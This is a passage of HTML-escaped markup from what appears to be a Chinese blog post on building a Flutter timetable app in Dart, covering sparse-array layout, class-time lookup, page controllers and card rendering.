class=\"o\"\u003e-\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparseFromDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartDay\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003edayOfYear\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e~/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中 Jiffy 是一个计算时间的库,这里我利用了他计算当前是全年第几天。\u003c/p\u003e\n\u003ch5 id=\"预先渲染好的课程表数据\"\u003e预先渲染好的课程表数据\u003c/h5\u003e\n\u003cp\u003e这里的数据将会在控制器初始化时候生成,在获取到 Repo ,或称 Model ,提供的课程信息后进行合成。\u003c/p\u003e\n\u003cp\u003e我这里直接使用了四维度数组,你们可以认为是稀疏矩阵。虽然这不是最优解,但是他还算容易访问;虽然复杂度很高,但是由于数据量很小,对性能影响不大。\u003c/p\u003e\n\u003cp\u003e四维度数组是这样的表示:\u003c/p\u003e\n\u003cp\u003e周次-星期-第几节课-这节课重叠了几节课\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// A list as an index of the classtable items.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e合成方法是:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e生成数组:周次 * 一周七天 * 一天十节课 * 一节课有几门安排。我们计算一下: \u003cbr/\u003e\n假设一个学期二十周,没有课程重叠,这就是 20 x 7 x 10 x 1 = 1400 个单元。 \u003cbr/\u003e\n数据量确实很小,总体上耗时也是很均衡。所以理论上这是个 O(n4) 复杂度算法,实际上可以认为这是个 O(1) 复杂度算法,这个在接下来渲染时候更加体现。\u003c/li\u003e\n\u003cli\u003e遍历每一周的每一天,进行插入课程操作。方法是对时间安排进行遍历,如果在这一天有安排,先将其安排到一个 \u003ccode\u003ethisDay\u003c/code\u003e 数组,然后对冲突处理后,插入到课程单元种\u003c/li\u003e\n\u003cli\u003e关于课程冲突,也就是一个单元内有两个安排,以课程长度长的优先。在步骤中,先对 \u003ccode\u003ethisDay\u003c/code\u003e 数组进行排序,然后进行插入。\u003c/li\u003e\n\u003cli\u003e剩下的单元,如果是空白,插入 -1 索引,表示不存在。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e我解释完了,希望有个人帮我优化一下吧,我算法课成绩太差了:-P\u003c/p\u003e\n\u003cp\u003e目前想法是把后面那一堆简化掉,使用一个 Map 词典解决问题,也就是说:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003eMap\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eWeekClassTable\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWeekClassTable\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e其中词典的 int 元素是一周中的第几节课,比如说,周三的第三节课就是 2*7+3 = 17,那它的索引就是 17。\u003c/p\u003e\n\u003ch5 id=\"获取当前时间课次\"\u003e获取当前时间课次\u003c/h5\u003e\n\u003cp\u003e主要是时间段计算,我有一个时间段列表。交替开始结束时间。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Time arrangements.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Even means start, odd means end.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;8:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;9:15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;9:20\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;10:05\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;10:25\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;11:10\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;11:15\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;12:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;14:50\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:35\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:55\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;16:40\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;16:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;17:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;19:55\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;20:30\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col\u003e\n\u003cli\u003e首先,介于 8:20 到 20:35 之间的时间才进行计算。\u003c/li\u003e\n\u003cli\u003e获取当前时间,然后在上面的数组中卡出时间在哪个之后。\u003c/li\u003e\n\u003cli\u003e如果那个时间属于上课时间,就是在上课,进行相关课程查找,否则,就是在课间。在课间就要考虑下一节课是啥状况,是和上一节课相同还是下一节课。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"课表渲染\"\u003e课表渲染\u003c/h4\u003e\n\u003cp\u003e课表使用了 StatefulWidget 的原因是,课表渲染需要涉及到一些 View 里面相关的变量,我需要使用 initState 函数初始化,所以就这样了。虽然可以搞个 Stateless 组件,在它的初始化函数中初始化,但是保不齐将来我需要写啥保存页面状态,我就需要有状态了。\u003c/p\u003e\n\u003cp\u003e看过我上面的课程表图,可以发现,除了 AppBar ,我的课程表分成上面的周次选择列,和下面的课程表。除此之外,点开课程显示的课程信息又是一个组件。\u003c/p\u003e\n\u003cp\u003e这个组件里面定义了很多的常量,这里我不赘述。\u003c/p\u003e\n\u003ch5 id=\"课表页面初始化\"\u003e课表页面初始化\u003c/h5\u003e\n\u003cp\u003e首先介绍三个 Controller ,其中前两个十分重要,因为涉及到页面切换:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003ePageController\u003c/span\u003e \u003cspan class=\"n\"\u003epageControl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e/// 记录页面信息的控制器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003eScrollController\u003c/span\u003e \u003cspan class=\"n\"\u003erowControl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e/// 滚动控制器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003elate\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e \u003cspan class=\"n\"\u003edecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\t \u003cspan class=\"c1\"\u003e/// 一个 Container 的装饰配置信息\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e第一个 pageControl 涉及到 PageView ,这里就是课程表信息的页面,我们使用这个来方便换页。\u003c/p\u003e\n\u003cp\u003e第二个 rowControl 涉及到最上面的周次选择列,控制上面周次选择的滚动。\u003c/p\u003e\n\u003cp\u003e前两个控制器共享 currentWeekIndex 这个状态。\u003c/p\u003e\n\u003cp\u003e第三个 decoration 就是我课程表可以搞背景的东西,这个我不打算在博文里面说了,因为太简单了。\u003c/p\u003e\n\u003cp\u003e页面初始化,本质上就是这三个控制器的初始化了。首先判断当前应该显示第几周的课,然后分别使前两个控制器的初始值在对应的周次,最后初始化背景图(如果有的话)。\u003c/p\u003e\n\u003cp\u003e在判断显示周次上,如果当前不在上课周期,判断开学前还是刚放假,然后相应设置为第一周和最后一周。\u003c/p\u003e\n\u003ch5 id=\"最上面的表列\"\u003e最上面的表列\u003c/h5\u003e\n\u003cp\u003e这个是一列按钮,分别是周次按钮,和该周课表大致显示。\u003c/p\u003e\n\u003cp\u003e这个东西有个锁,叫做 \u003ccode\u003eisTopRowLocked\u003c/code\u003e ,保证按下按钮的时候数据的统一性,毕竟页面状态有两个控制器都在读。\u003c/p\u003e\n\u003cp\u003e每个按钮都有个函数,这个函数定义如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003eisTopRowLocked\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003ecurrentWeekIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003epageControl\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eanimateToPage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nl\"\u003ecurve:\u003c/span\u003e \u003cspan class=\"n\"\u003eCurves\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eeaseInOutCubic\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nl\"\u003eduration:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eDuration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003emilliseconds:\u003c/span\u003e \u003cspan class=\"n\"\u003echangePageTime\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003echangeTopRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e详情查看 \u003ccode\u003e_topRow\u003c/code\u003e 函数。\u003c/p\u003e\n\u003cp\u003e当按下按钮的时候,最顶部的锁锁上,然后刷新状态,这其中:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e设置页面信息为目标页面\u003c/li\u003e\n\u003cli\u003epageControl 控制器进行换页操作,这其中有动画和动画时长。\u003c/li\u003e\n\u003cli\u003e最上面表列进行换页操作,然后开锁。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e其中上面换表列的操作比较复杂,因为不是 PageView,每次的偏移量需要提前算好,这也是我将换周次按钮的一些装饰信息写作常量的原因。\u003c/p\u003e\n\u003cp\u003e另外,为了适应横屏幕,尤其是手机窄屏幕的横屏幕,我设置了高度 500 px 限制,小于这个数时候,只显示文字,不显示大致课表概览。\u003c/p\u003e\n\u003ch5 id=\"索引行\"\u003e索引行\u003c/h5\u003e\n\u003cp\u003e这一行,在代码里面叫 \u003ccode\u003e_middleRow\u003c/code\u003e,是用来显示日期信息的。这块代码有三处值得注意:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e需要计算那一周周一的日期。\u003c/li\u003e\n\u003cli\u003e今天的颜色需要不一样。\u003c/li\u003e\n\u003cli\u003e长宽比不同的时候,字体的颜色不同。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"课程表具体内容\"\u003e课程表具体内容\u003c/h5\u003e\n\u003cp\u003e课程表你可以发现有八列,最左面一列是显示数字索引的,这里不过多说明。右面七列就是课表了。\u003c/p\u003e\n\u003cp\u003e关于课表,希望大家还记得我上面说到的稀疏数组,那个数组实际上对应了这里。我们的渲染是按照周一到周日七天七列来处理的。\u003c/p\u003e\n\u003cp\u003e每一列都是由若干 classCard 生成的,classCard 需要三个变量:课程索引,课程长度,以及一个冲突课程 Set 。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003eclassCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"n\"\u003eheight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e卡片根据索引来渲染:如果索引是 -1,我们认为这个地方没课,渲染一个空白的卡片占位;如果索引不是 -1,我们将直接渲染对应课程,同时引入一个按钮,在按下去的时候显示所有冲突课程的信息。卡片高度是基于课程表高度计算的,稍后我将介绍。\u003c/p\u003e\n\u003cp\u003e当渲染每一周的时候,我们查询在那个稀疏数组中对应的元素,然后提取出第一个元素,也就是给用户渲染的课程信息。然后决定长度,方法是向后遍历,并且累加循环标志变量和长度。这其中,所有在这个范围内的冲突课程都要记录下来,为防止重复信息,使用 Set ,也就是不重复序列。最后,不重复序列去掉 -1 元素,因为代表没有课程信息。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ethisRow\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Choice the day and render it!\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// 提取出第一个元素\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eplaces\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"c1\"\u003e// The length to render.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003eSet\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e \u003cspan 